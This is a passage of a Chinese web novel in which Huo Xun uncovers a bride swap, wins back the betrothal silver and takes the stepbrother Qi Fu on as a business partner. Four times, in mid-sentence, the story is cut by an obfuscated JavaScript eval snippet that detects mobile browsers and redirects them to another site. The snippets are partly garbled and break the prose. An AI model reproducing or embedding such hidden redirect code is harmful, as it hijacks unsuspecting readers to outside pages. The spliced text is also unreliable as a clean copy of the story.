这二人,应当就是祁家姑姑祁有珍和姑丈傅宏远了。 祁有珍看到祁福,激动地上前一步:“祁——”那个字到了舌尖,生生转了道弯,“双儿!” 祁有珍面上情绪复杂,看祁福时眼里满是怜惜,语气却懊悔:“你这傻孩子,成亲怎么不与姑姑说!你早些说啊!!” “姑姑!”祁福眼眶发红。 祁有德咳了一声:“洵儿,这是你姑姑姑丈。” “姑姑,姑丈。” 霍洵拱手问好,祁有珍眼神游移,傅宏远板着脸,眼里暗含怒气,看向霍洵时,面色有些不自然,瞧着不像是自愿来的。 “你姑丈有秀才功名在身,才学过人,桃李遍布,今年还教出了一位秀才,县衙的师爷都特意将孩子送去请他教导呢!洵儿,今日咱们一家聚在一处,你多与你姑丈讨教讨教,后年再下场,或许便能高中了。” 祁有德的语气意味深长,霍洵心中冷笑,这是给他立下马威呢! “好,不过人都到齐了吗?”霍洵不动声色,“我听闻祁双还有个哥哥,怎么未瞧见?” 他话音落下,葛小芹几人面色一紧,祁福更是满脸不安。 “是有个哥哥,叫‘祁福’。今日不巧,出去办事了,不过不妨事,往后会见面的。”祁有德倒是镇定,还道,“莫管你大哥了,你姑丈难得来一回,你今日多陪陪你姑丈。” 心中的猜想一一应验,霍洵越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521540|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笃定,顺势应道:“好,那小婿便要叨扰姑丈了。” 傅宏远看了祁有德一眼,忍着怒气,语气生硬地与霍洵寒暄:“听闻贤侄家住流云镇,路程有些远,过来的路上可还顺利?” “路上倒是顺利,”霍洵扯了扯嘴角,“就是方才在巷子里遇见位街坊,说的话十分奇怪,让我有些不解。” 他话音落下,才放松下来的几人,心立刻又提了起来。 祁有德瞳孔紧缩:“巷子里的人?!” 葛小芹也焦急地追问:“你遇见谁了,是男是女,他与你说了什么?!” “岳母怎么这般紧张?” 霍洵的目光依次扫过屋里众人,祁有德一家子面色如出一撤的紧张,祁有珍夫妻两也变了脸色,祁福一脸茫然,似乎在回忆巷子里到底遇没遇见人。 “没、不是,”葛小芹干笑着解释,“娘是怕你们遇见骗子,姑爷不知,这一块坑蒙拐骗的人不少。” 她越说越顺溜,最后眼珠子一转,又道:“就连街坊,也有些见不得人好的,他们的话,不可尽信啊!” 霍洵轻笑一声,在众人关切的眼神中,不紧不慢地开口:“如此说来,应当是遇见不安好心的人了。那人管双儿叫她大哥的名字,还问她为何穿姑娘家的衣裳,着实将我吓了一跳。” 千防万防,该来的还是来了。屋里众人大惊失色,一直端着架子的傅宏远险些失手将茶杯打翻。 祁有德和葛小芹交换了一个眼神,恨声开口:“一派胡言!究竟是何人故意说这些话来挑拨咱们一家的关系?” 他看向祁福,眯了眯眼睛,面带威压:“双儿,贤婿说的话可是真的,你可认出那胡言乱语之人是谁了?” 这下,众人的目光又转向了祁福。 * 霍洵今日也做了两手准备。 霍家如今是一团乱麻,霍泽病着,霍秋还小,家里老弱病残就差了一个‘老’,还有个邱家在虎视眈眈地盯着。眼下和祁家撕破脸,霍洵有信心能将三十两聘礼讨回来,但难保祁家不会使阴招报复。 邱仲晖就在县城上学,万一祁家和邱家联合起来就不好了。 到时候他和郭秀英带霍泽外出求医,霍苓、霍秋两个姑娘留在家里太过危险。 倒不如先拖一拖,待霍泽病好或霍家壮大了,再来和祁家算账。 他有信心,那三十两银子即便不能立刻全部讨回来,今日也能先讨回来一部分。霍家这些年送的东西也是一样,不会便宜祁家。 正好他有意来县城做买卖,有用得着祁家和傅宏远的地方。 不过,此事还要看祁福的态度。 15. 第 15 章 祁福被众人盯着,后知后觉地反应过来,霍洵在说谎,他在试探祁有德几人。 祁家人则在等他的答案,以此验证霍洵的话。 这两方都会依据他的话,做下一步反应。 霍洵有什么打算他猜不出来,但祁家的谋划,他是知道的。 成亲前一日,葛小芹曾交待他,到了霍家,先装作身子不便拒绝同房,将新婚前几夜瞒过去。 他的身份最好瞒到祁双和秦秀才的亲事彻底定下来,拖得越久,对祁家越有利。 实在不行,也要拖到回门。 待到回门之时,事情已过去三日,只要他和祁家咬定,他和霍洵早有私情,替嫁是他们二人的主意,霍洵便是有一百张嘴也解释不清。 他会吃些苦头,但葛小芹承诺,事了之后,会让祁旺和祁有德不再打他,葛小芹会像待祁旺和祁双那样待他。 他若是信不过,不想再住在祁家,祁有德和葛小芹愿意出银子给他买一间小屋子,让他自立门户。 祁福当时未报希望。 新婚夫妻即便不立刻同房,但睡在一张床上,朝夕相处,他男子的身份怎么可能瞒得住?况且他那时听说霍洵对祁双一往情深,以为自己揭下盖头,便会被拆穿。 没想到霍洵连祁双长什么样都不知道,还主动提出分床睡,竟真让他拖到了回门。 逃离祁家,自立门户,是他一直藏在心里,不敢说出来的妄想。眼下,是他离这个‘妄想’最近的一刻。 他知道葛小芹的承诺未必可信,但今日姑姑和姑丈也来了,姑姑会帮他的。 不用真的给他买一间小屋子,只要赁一间,让他有个落脚的地方就行,往后他可以自己干活儿养活自己。 拆穿霍洵的谎言,帮着祁家反咬一口,将事情栽到霍洵头上,他就能得到自己想要的了。 可霍家和霍洵会怎样呢? 背信弃义,与未婚妻的继兄勾搭在一起,霍洵会名声尽毁,断了科举之路。霍家白白付出三十两聘礼,媳妇没娶到,还坏了名声。 倘若霍洵一蹶不振,霍泽会因为攒不够银子,耽误治病。霍苓会被迫嫁给一个酒色之徒,郭秋英和霍秋的人生,或许也会彻底毁掉…… 祁福稍一想,愧疚便涌上心头。 在霍家这三日,像是一场梦。这是他六岁之后过得最轻松的三日,没有人打骂他,没有人嫌弃他,但有人给他送新布巾,有人给他分饼子吃、将最好的食物给他,还有人关心他身上的伤,不让他做重活…… 可这一切都是冲着祁双来的,等他的身份被拆穿,霍家人只怕是深恶痛绝,恨不得从没认识过他。 即便他现在‘改邪归正’,帮着霍洵拆穿祁家的阴谋,霍家他也回不去了。 眼下,两条路摆在他的面前。 否定霍洵的话,他能摆脱一直以来的噩梦,过上自己一直渴求的生活。 站在霍洵那一边,霍家不会因此原谅他,祁家更不会放过他,恼羞成怒的祁有德和祁旺会让他生不如死。 该如何选,似乎已经十分明显。可祁福无论如何,也开不了口。 他垂着脑袋,一言不发。 祁有德眼里的厌恶和嫌弃一闪而过:“究竟遇没遇见那不安好心之人,你还不快说?!” 祁福吓得一抖,他慢慢地抬起头看向霍洵。 霍洵也在看他,但气定神闲,似乎压根不在意他的回答。 祁福知道,以霍洵的本事,定能为霍家讨回公道。他深吸了口气,眼神渐渐坚定。 “遇见了。” 罢了,反正他早就准备好去死了,多活了几日,已经够了。 他话一说完,又开始两眼无神,一副看破红尘的焉巴模样,霍洵眼里闪过一丝笑意,心里也舒了口气。 他没有看错人。 * 祁家几人的反应与霍洵截然相反,祁旺面上凶光一闪,语气凶恶:“遇见了谁,说了什么?你给我说明白!” 霍洵轻笑一声,不紧不慢地开口:“岳父和祁旺弟弟这是信不过我?” 祁家几人面色一变。 “贤婿莫要多心,咱们这块的街坊领居你都不认得,双儿却知道,让她来说,咱们才能弄清情况。” 祁有德和颜悦色,祁旺也收起了脸上的不满。 霍洵慢悠悠地喝了口茶:“祁双刚与那人打了个照面,便躲进车厢里了,我问她那人是谁,她说不认识,那人在瞎说。” 他的目光扫过屋里众人:“既然岳父想弄清情况,不若咱们一块儿去巷子里找找,看能不能再找到那人?” 祁有德面色一僵,哪敢再追问祁福:“那倒不必,你们回门的日子,莫被那些不安好心的搅了兴致。” “行,那就听岳父的。” 霍洵顺从地应下,屋里众人都在心里松了口气。 没想到紧接着他又露出一副困惑不解的表情:“可小婿心里也有些疑惑,既是那人胡说,祁双为何要躲?” “双儿胆小,许是被那恶人吓着了。”葛小芹干笑着道。 “是吗?”霍洵似笑非笑,“小婿先前听闻岳家极看重祁双,可成亲那日却未能进祁家大门,祁双的嫁妆也只有一口旧箱子,两身不合身的旧衣裳,实在不合常理。方才听那人一说,又见祁双那般反应,还真有些怀疑他是被人说中了心虚呢。” 祁家人心惊胆战,祁有德急得汗都出来了。 许是急中生智,他很快便想出了一个合理的解释:“我们自然是看重双儿的,只是那时你岳母病了,心里胡思乱想,总怕你们霍家嫌弃双儿是商户家的姑娘,所以想了个馊主意考验你。” 葛小芹连声附和:“是啊是啊,都怪我犯糊涂!” 夫妻二人解释完,便绷着神经看霍洵的反应,却不知自己已落入霍洵的陷阱。 “原是如此。”霍洵颔首,不等他们放松下来,又道,“我们霍家家境清寒,当初都拿了三十两银子做聘礼,岳父岳母这般心疼祁双,想必为她准备的嫁妆也很丰厚,只是为了考验我,没有在成亲之日就让他带去?” 祁有德和葛小芹对视一眼,硬着头皮点头:“是呢。” “甚好,甚好!”霍洵笑了,在众人不解的眼神中,悠悠道,“今日赶着牛车来的,正好将祁双的嫁妆带回去,省得岳父岳母还要跑一趟。就是不知祁家给祁双准备了多少聘礼,我们的牛车可放得下?” 他话音落下,祁有德几人反倒松了口气。 原是来讨嫁妆的。 也是,若真看出新娘子被换了,早就气急败坏,回去找人来闹了,哪有耐心坐在这儿和他们掰扯。 祁有德心中不屑:“贤婿不必忧心,我和双儿她娘给她准备了十……” 十两银子到了嘴边,想起霍洵说的那些话,他略带不甘地改口:“十五两银子做嫁妆。” “十五两?”霍洵一副不好意思的表情,“不瞒岳父,我大哥如今病了,霍家情况很不好,祁双嫁来也要跟着吃苦,小婿还以为祁家这般心疼女儿,定会在嫁妆上多补贴一些。先前听闻县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521541|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里的姑娘,家里看重的嫁妆不说是聘礼的双倍,至少不会比聘礼少,莫非是先前听到的消息不准?” 祁有德被堵得说不出话来,心里恼恨霍洵不知足,被葛小芹推了一把,又想到祁双的亲事马上就能定下来了,这关头不能出岔子,才咬牙道:“二十两,既然霍家有难处,那我们便给双儿二十两银子做嫁妆吧。” 霍洵但笑不语。 祁旺瞧出他不满意,愤愤道:“二十两还嫌少,姐夫难不成想靠我们祁家给的嫁妆发家?” “二十两银子便能发家,那祁家想必已经靠我霍家给的聘礼发过一次了?”霍洵看向祁旺,“祁旺弟弟似乎也不怎么在意你姐姐在婆家的日子好不好过?” 祁家几人呼吸一滞,陡然惊觉霍洵有些难缠,简直与他们打听到的不像一个人。 不都说这人是个不知事的书呆子吗? 再多的银子,祁家并非拿不出来,只是怎么想都觉得不甘心。 拿到手的钱,凭什么还要给回去?祁双出嫁还需要一大笔银子呢,更别提往后还得补贴秦秀才。 可真不给,又怕这人去外头乱说,坏了祁双的好姻缘。 祁有德正头疼地思索应对之法,一直没说话的祁有珍陡然出声:“霍家给了多少聘礼,祁家就给多少嫁妆。大哥,给双儿三十两。” 她表情果决,说完便定定地看着祁有德。 傅宏远也拧眉,一脸不赞同地对着祁有德道:“祁家不缺这三十两银子,既然霍家遇到了难处,他们来了多少,大哥别少人家的。” 祁有德心知妹妹妹夫这回被牵扯进来已经十分不快,此时只得点头。 “做爹娘的,哪有不心疼女儿的?我祁有德也并非舍不得银子,先前往少里说,不过是想着你们年轻人大手大脚的,一回给多了不好。既然霍家确实有难处,那我便将三十两嫁妆一齐给你们吧!” 霍洵心中冷笑,面上却一副惊喜又感激的表情:“多谢岳父岳母和姑姑姑丈体谅。” “不必道谢,除了这三十两,姑姑再出五两银子给双儿添妆。”祁有珍看了眼祁福,又看向霍洵,“只求你能宽待‘双儿’,即便他往后有做得不对的地方,你也能看在这三十五两银子的份上,高抬贵手。” 祁福面上一愣,回过神后着急地摇头:“姑姑,我不要。” 霍洵也有些意外,傅宏远虽开了私塾,但傅家并不多宽裕,这也是祁有德当初将儿子扔给妹妹养被人嚼舌根的原因。 霍洵再看祁有珍时,心里多了几分敬重:“姑姑的心意侄婿心领了,不过您的银子我和祁双不能要。您放心,我已经想好了,明日开始就来县城做买卖,定能挣够银子养家糊口。” 他话头一转:“祁双如今连身新衣裳都没有,眼下家里要紧着我大哥治病,待我挣了钱,定要好好弥补祁双。” “你要来县城里做买卖?!!”祁有德头皮都快炸开了。 做买卖不是一日两日的事,天天往县城跑,接触的人还多,他们这秘密哪还能藏得住? 祁家三人额头青筋直跳。 “家里还有两匹新布,你拿回去给双儿做衣裳吧。”葛小芹耷拉着脸,“县里的生意不好做,还是别来了。” 祁有德一脸晦气:“你们今日带来的东西也都带回去自个儿吃吧,做什么买卖你先与我说一说,莫要轻举妄动。” 祁福目瞪口呆,只觉得事情的发展实在出人意料。 霍洵没有拆穿祁家做的缺德事,但把聘礼要回来了,还要带他回霍家? 16. 第 16 章 回去的路上,祁福看着牛车上堆得满满当当的东西,一脸恍惚。 牛车出了城,霍洵叫他:“出来透透气。” 祁福坐到他身边,一脸犹豫地看着他:“你,你是不是……” “你是祁福,祁双的继兄,我已经知道了。”霍洵语气平淡,“还有什么不明白的,问吧。” 果然,祁福心中有种尘埃落定的感觉。 他抿了抿唇,小声开口:“你不恨我吗,为何还要带我回去?” “替嫁之事,并非你的主意,你是被迫的,我要恨也该恨你爹和你继母他们。带你回去,自然是还有用处。”霍洵看着祈福,嘴角微扬,“祁福,我们做个交易吧。” 祁福表情懵懂:“什么交易?” “我缺个帮手,你留在霍家帮我干活儿,我给你开工钱。” * 祁福那件亵衣上的血迹怎么也洗不干净,他不敢让郭秋英几人瞧见,所以晾在了自己和霍洵屋里。 他身上新伤叠旧伤,亵衣上新迹盖旧痕,霍洵每次瞧见,对祁家都会多几分唾弃。 这人在祁家到底过的什么日子,祁有德真的有把他当儿子看吗? 虽然十分同情,但霍洵也并未因为这个就决定要继续收留祁福。他本就不是个烂好心的人,又在末世待了三年,更没有多余的善心来普度众生了。 祁福身世可怜,但被父母压榨了半辈子,还助纣为虐、讨好父母的人,霍洵也见识过。 胆小无力反抗不要紧,但得知道是非曲直。 今日霍洵和祁家那番较量,祁福瞧在眼里,想必也经过了一番挣扎,但他最后还是选择帮霍洵。 在霍洵看来,这样的人才值得他伸出援手。 霍家人手不够,他缺个帮手,祁福是个好人选。 祁福乖巧听话,手脚勤快,性子软,好拿捏,最主要的是,人品可靠。放在末世时,就是他最喜欢的那款小弟。 祁福帮着他从祁家‘骗’回了三十两银子,往后事情了结,祁家定然容不下他。 他需要有个容身之处,自己需要一个帮手,正好各取所需。 “我要来临山县卖笋子,你已经有经验了,又了解县城里的情况,是最合适的人选。” 霍洵话音落下,祁福两只无神的眼睛渐渐瞪大:“可是你不是同我爹说不来做买卖了吗?” “君子一言,驷马难追。”霍洵笑了笑,“我不是君子。” 霍洵不打无准备之仗,他不光要来临山县做买卖,还想收集祁家骗亲和苛待祁福的证据,保证自己和祁家撕破脸的时候,能稳操胜券。 “我会设法收集祁家骗亲和苛待你的证据,这样我和祁家的事情了结,你也不必回去受他们搓磨。你可以和我一起做买卖,待攒够银子,想去哪儿都行。” 霍洵看着祁福:“你放心,只要你在霍家一日,我保证不让祁家人欺负你。” 万万没有想到,霍洵不止没有怪罪他,还为他想好了后路。 祁福一时有些不敢置信,他不用帮祁家做坏事,也能有脱离祁家,自立门户的一天,霍洵还要带他一起做买卖? “可是我不会做买卖。”他绞弄着手指,神态有些不自信。 “你昨日便做得不错。”霍洵语气笃定,“还有什么不会的,我往后会教你。” 祁福昨日一开始像个鹌鹑似的缩在他旁边,后来也磕磕绊绊学着霍洵叫卖,只是声音极小。 在霍洵看来,胆子都是练出来的,做买卖也不是只能靠大声吆喝。只要有心去学,愿意花精力去练,祁福一定能越来越好。 见祁福还是有些没底气,他突然翘起嘴角:“你连死都不怕,还怕做不好买卖?” 祁福愣了愣,皱着眉毛想了会儿,越想越觉得他说得有道理。 “好,那我与你一起做买卖。” 霍洵看他表情认真,一副要跟着自己大干一场的模样,突然生出逗弄的心思:“放心吧,咱们两人合力,定能发家致富,往后指不定你比你那个缺德爹还有钱,到时候他跪着求你回去继承齐家的灯油铺,你都不稀罕。” 祁福没忍住露出一个笑,又不好意思侧开脸。 * ‘知己知彼,方能百战不殆’,后头霍洵又问起祁家和祁双那位新夫婿的情况,还有他们换亲的来龙去脉。 祁福十分老实地将自己知道的都告诉他了。 事情与他预料的相差无几,看来齐家是想等齐双的与秦秀才的亲事彻底定下来,再与霍家做个了断。 不过秦秀才虽心仪祁双,但他爹娘因他考中秀才,眼界变高,如今有些瞧不上祁家了,这亲事一时半会儿还真不一定能定下来。 对霍洵倒是个好消息。 他想了想,又问:“下午你继母带你出去说了什么?” 祁福眨了眨眼睛:“他叫我看着你,不让你来县里做买卖,叫我仔细哄着你,将身份瞒到祁双亲,还说事成之后给我买屋子。” 霍洵嗤笑一声,心里有了主意:“既如此,那咱们便将计就计。” 他一把揽过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521542|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁福的肩膀,将祈福的脑袋靠到自己这边,低声道:“明日或后日咱们来县里卖笋子,他们知道定然着急,到时再让你劝阻我,你便逼他们立下字据。” 有了字据,祁家换亲之事便板上钉钉,怎么也抵赖不掉了。 “他们若不肯,你便说可以请你姑姑姑丈做保,立好字据放在你姑母那儿,这样你们两方都放心。” 祁福从没与人这般亲近过,先前还因为霍洵的姿势有些不自在,听到后头眸光发亮,也顾不得这些了。 “好!”他小鸡啄米般点头。 少年人神态乖巧,像一只胆小又温顺的小鹿,连额角的鬓发都透出一股乖顺的味道。 霍洵心里十分满意,只觉得这小弟实在合他心意。 他有些手痒,正想揉一揉祁福的脑袋,瞥见祁福身上的衣裙,又收回了手。 “往后还是穿男子的衣裳吧,正好你继母给了两匹布,拿一匹给你做新衣裳。” 这一路,祈福依靠着身后的车厢,坐在车板上。他双脚悬空,不自觉地晃动,只觉得身体所未有的轻松。 心里好像被人种下了一颗种子,在慢慢地发芽。 他现在有些舍不得死了。 * 郭秀英几人见霍洵和祁福回来十分高兴,瞧见霍洵将早上带出去的竹笋和菜原样搬下车却傻了眼。 霍秋一副天塌了的表情:“二叔,你不会是被婶婶家赶出来了吧?” 郭秀英赶忙捂住她的嘴:“二弟,这是?” 霍苓将祁福手里的鸡蛋接了过来,也一脸担忧地看下霍洵。 “没事,”霍洵笑了笑,“岳父岳母听说咱家情况不好,补贴咱们呢。” 他说完,又从牛车里搬出两匹布,祁福也搬下来一个木匣子和三个捆在一起的油纸包。 霍洵坚决不要祁有珍的银子,祁有珍许是心里过意不去,将自己提来的一封糖、两包点心全部包好塞到了霍家的牛车上。 祁家几人看得眼睛都直了。 今日祁家在霍洵这儿受了不少窝囊气,一直强颜欢笑,霍洵想起他们的表情便觉得好笑。 郭秀英还以为他是因为岳家态度好转心里高兴,也跟着欢喜。 “哎哟,这怎么好意思!弟妹,你爹娘也太客气了,这让我和大哥心里怎么过意的去。下回你再回娘家,咱们一定要好好准备,也得多备些礼……” 一家人欢欢喜喜地将东西搬进门,霍泽也伸着耳朵留意外头的动静呢,听到笑声,便松了口气,脸上也露出个笑来。 17. 第 17 章 祁福的身份霍洵考虑之后,决定暂时瞒着郭秀英她们。 一来人多口杂,事情还未解决,知道的人多了容易走漏风声; 二来霍泽还病着,这两日好不容易心里松快了些,这事不好教他知道。 霍洵停学之事,他虽然同意了,但心里仍是梗着一根刺。好不容易娶回来的弟媳变成了个男的,霍家被祁家如此欺辱,他自己又躺在床上帮不上忙,只会郁结于心。 进屋后,将其他东西归置好,霍洵拿着那个木匣子,让家里人一起去霍泽屋里说话。 “嫂子,大哥,我俩把祁双的嫁妆拿回来了,同咱们给的聘礼一样,也是三十两银子。” 霍洵打开木匣子,一块块码得整整齐齐的小元宝出现在眼前,屋里除霍洵和祁福之外的人俱是一脸惊讶。 “还有嫁妆?”郭秀英欲言又止。 霍泽沉吟:“先前是我们误会亲家了,他们还是心疼弟妹的。” 霍洵不想给祁家脸上贴金:“是我主动问起,祁家姑姑姑丈又劝了几句,岳父他们才同意要给的。” 霍泽目瞪口呆,他弟弟怎会做出这样的事? 郭秀英也有些无奈:“你这孩子……” 她看了祁福一眼,努力搭台阶:“亲家做生意的,许是最近银子不凑手,你怎么还主动要?” 霍洵毫无心理负担:“咱家情况也不好,银子先拿来用,往后我有出息了多‘孝顺’他们便是。” 郭秀英和霍泽不知祁福的身份,还担心他生气,一时左右为难。 夫妻俩对视一眼,郭秀英开口道:“这是弟妹的嫁妆,咱们不能用,弟妹自己收着。” 祁福连连摇头,表情认真:“给家里用,给大哥治病。” 郭秀英心里一暖,险些落下泪来,霍泽眼睛也有些泛红。 霍秋一脸感动地伸手去抱祁福:“婶婶你真好!” 祁福赶紧躲开,霍洵将他拉到身边:“你婶婶幼时受过惊吓,不习惯与人亲近,往后别靠得太近。” 他说完又看向郭秀英:“大嫂,银子拿回来了咱们就用,三十两给大哥治病不大够,但可以改善家里的生活,将大家的身子养得健壮些。而今无论是大哥还是我们都太瘦了,身体底子好了对大哥治病也有好处,往后吃食上就别太省着了。” 郭秀英想了想,点头道:“那行,不过这银子还是你们自己拿着,你俩要补贴家里是你俩的心意,放在公中不是那么回事。若你大哥治病要用,我再找弟妹借。” 郭秀英去镇上的时候少,要买吃食给家里人补身子霍洵和祁福卖笋子时顺路带回来就是。 霍洵把银子拿出来是想让家里人有底气,往后不再舍不得吃喝,倒也不在意银子谁拿着,便点头应下。 * 说完嫁妆之事,又说起去临山县卖笋子的事儿。 昨日在镇上卖笋子时,霍洵问起县里的笋子价格,祁福说县里没剥皮的水竹笋能卖四文一斤,剥了皮的更贵,要卖七文。 霍洵当时就动了去县里做买卖的心思。 不过从玉泉村到临山县,坐牛车也得两个时辰,来回便是四个时辰。要想赶在城中百姓早上买菜的时辰到,那寅时初也就是凌晨三点就得出发,实在辛苦。 做买卖成本也比镇上高。 进城每人要交两文钱,若是带的货物多,还得依据数量再加钱。县城里不比镇上,不能随意摆摊,若去坊市赁摊位,又是一笔钱。 再加上去临山县有一截山路原先不太平,村里没人愿意折腾。 霍洵也觉得,若是每日只能挣个百来文,还不如就在镇上卖。 他原想趁今日回门,顺便去县城里转转,看这买卖究竟值不值得做。未曾想祁家人一直防备着,不让出门,直到再不走就要走夜路了,才放他们出来。 回来的路上,霍洵想了想,还是不死心,便决定后日带上东西去试试。 怕单卖生笋子不合算,他又起了卖凉拌竹笋和泡椒竹笋的心思。 霍苓做的凉拌水竹笋味道十分不错,泡椒竹笋是这里没有的菜式,但他在现代吃过,也记得做法。 这两道吃食要用的佐料大都是他们家有的,没有的价钱也不算特别贵,整体成本可控,很适合拿来做小买卖。 霍洵打算明日先去镇上试试,若是反响不错,就能带去县里卖了。 昨日去镇上卖笋子凯旋而归,家里人如今对他十分信服,听完他的计划都未反对。 霍苓听她二哥夸她凉拌笋子做得好,能卖钱,还有些欢喜,当即挽起袖子,兴高采烈地准备将明日要卖的笋子做出来。 * 今日霍洵和祁福一出门,郭秀英和霍苓便去玉泉山上找水竹笋了,下午霍苓带着霍秋把自家后山的也拔了,一共八十多斤。 霍洵和祁福带去祁家的二十斤水竹笋、十斤毛竹笋是前日留出来的,不如新拔的新鲜,正好拿来做凉拌水竹笋和泡椒竹笋。 趁着天还未彻底黑下来,一家人分工合作,霍苓和霍秋做晚饭,霍洵和祁福将水竹笋剥了,焯水后过一道凉水,撕成条备用。 泡椒竹笋可以用毛竹笋,不过还需要几味调料,明日买齐了才好让霍苓做。 凉拌水竹笋也缺了香油,郭秀英去隔壁秋婶家里借了半碗回来。 剥好焯水晾凉撕成长条的竹笋被放在一个大木盆里,倒入盐、辣椒末、蒜末、醋之类的调料,淋上烧热的香油,香气立刻被激发出来了。 祁福刚吃完饭都没忍住咽了下口水。 忙活完,众人赶紧烧水洗漱,准备回屋睡觉。 * 今日天不亮就出门,在祁家提心吊胆,回来后又干了些活儿,祁福也累了。 他擦洗了一番就准备去床上歇息,刚坐下,霍洵也上来了,还把竹床上的被褥拿了过来。 祁福往下躺的动作一僵。也是,他的身份霍洵都知道了,自然没有必要再将卧房的床让给他睡了。 往后就该他睡起居室那张小竹床了。 祁福缓缓起身,恋恋不舍地回头看了眼卧房的大床。 真是一张好床呀,又大,又暖和,还结实,翻身也不会垮。 他在心里幽幽地叹了口气,穿上鞋抱上自己的衣裳往起居室走。 “干嘛去?”霍洵懒洋洋地开口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521543|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >家里的灯油快没了,这会儿靠着月光照明,霍洵看不清祁福的表情,只觉得他垂着个脑袋抱着衣裳往外走的身影可怜巴巴的。 “回来。咱两都是男的还有啥好避讳的,这床睡得下两人。” 祁福脚步一顿,斜着眼睛偷偷瞧了他两眼,还是老老实实地回来了。 “你睡里面。”霍洵话落,祁福往里挪了挪,他贴着床边躺下去,两手合着放到肚子上,十分乖巧。 朦胧的月光照在他脸上,能看到飞颤的睫羽,霍洵看得好笑:“不用害怕,我不吃人。” 祁福其实不害怕。说来有些奇怪,他初来霍家时最怕的就是霍洵,但也才几天的功夫,对霍洵的感觉却有了天翻地覆的变化。如今在霍洵身边不仅不怕,还有种莫名的安心感。 只是许久没有同人睡过一张床了,还是有些紧张。 晚上又下了雨,祁福睡得迷迷糊糊,被雷声惊醒,想到山上的竹笋。 下了雨竹笋会长得快些,明日家里应当能多拔些笋子,后日他和霍洵就能带更多的笋子去县里卖了。 念头一闪而过,下一秒又陷入了香甜的梦乡。 * 翌日一早,天刚蒙蒙亮霍洵便起来了。 他在院子里打了两套拳,霍苓和祁福也将早饭做好了。霍秋还未起床,霍洵怕她长不高,让霍苓往后给她留一份早饭,不喊她一起吃。 郭秀英嘴上说他惯孩子,心里却很以为然。 吃完早饭,郭秀英和霍苓帮着把东西收拾好,送他两出门。 今日出门晚了点儿,在村口遇见村里的牛车。孙二郎抱着竹筐同人说笑,瞧见他们车上的竹筐脸上的笑容逐渐消失。 “霍二郎,又去卖笋子呢?”他干巴巴道。 霍洵挑眉轻笑:“是啊,孙二哥昨日生意如何?” “还成,还成。”孙二郎苦着脸道。 昨日好不容易生意好点,霍洵一来,他们的生意只怕又玄了。那竹筐上还盖了盖子,也不知又憋了什么主意,人家这脑子咋就那么好使呢?真是人比人气死人。 牛车上的人几乎都是村里的,纷纷与霍洵他们搭话: “洵小子,你不上学啦?” “听说你们夫妻前日去卖笋子将孙二郎和牛三叔他们都比下去了,好生厉害!” “板车上是你娘子吗?她为何穿男子的衣裳?” “你俩今日怎么只带了一筐笋子……” 霍洵耐着性子一一作答,祁福也被喊着说了几句。 村民们十分热情,态度也友好,只是说的话让他心惊肉跳。 “祁小娘子扮男子扮得真好,这嗓子比我男人还粗放些!” “是啊,不知道还当洵小子娶了个契兄弟呢!” “哈哈哈哈,你们莫说了,祁小娘子都不好意思了……” 祁福初时紧张得眼珠子都不敢转,后头渐渐麻木,又恢复了那副两眼无神的焉巴模样。 嗓音的事儿,他努力控制过,可实在控制不了,出口就是粗嘎沙哑的青涩声音。 霍洵宽慰他:“不必在意,你越坦荡,越不当回事,人家越不会往那里想。” 18. 第 18 章 今日水竹笋果然不如前日好卖。 孙二郎夫妻俩带了些棕叶编的蜻蜓过来,去他们那儿买一斤笋子,便送一只棕叶编的蜻蜓。 棕叶蜻蜓瞧着精巧,实际上编起来很简单,村里好些孩子都会,霍秋也会。 买东西有个搭头总让人欢喜,这玩意儿不值钱,但拿回去给家里的孩子玩还是不错的。 昨日他们就靠这法子,将生意拉回去了些。 好在霍洵和祁福也有新花样。 今日他两的摊子多了一个小木桌,桌上铺着一块灰白色的麻布,看起来规整又洁净。 十斤凉拌竹笋用木盆装着,放在桌子上,旁边还放着干荷叶和棕叶、竹签。祁福手上端着一个浅口大竹筒,里头装着供客人试吃的凉拌笋子。 试吃的笋子特意剪成小段,用竹签扎着就能吃。 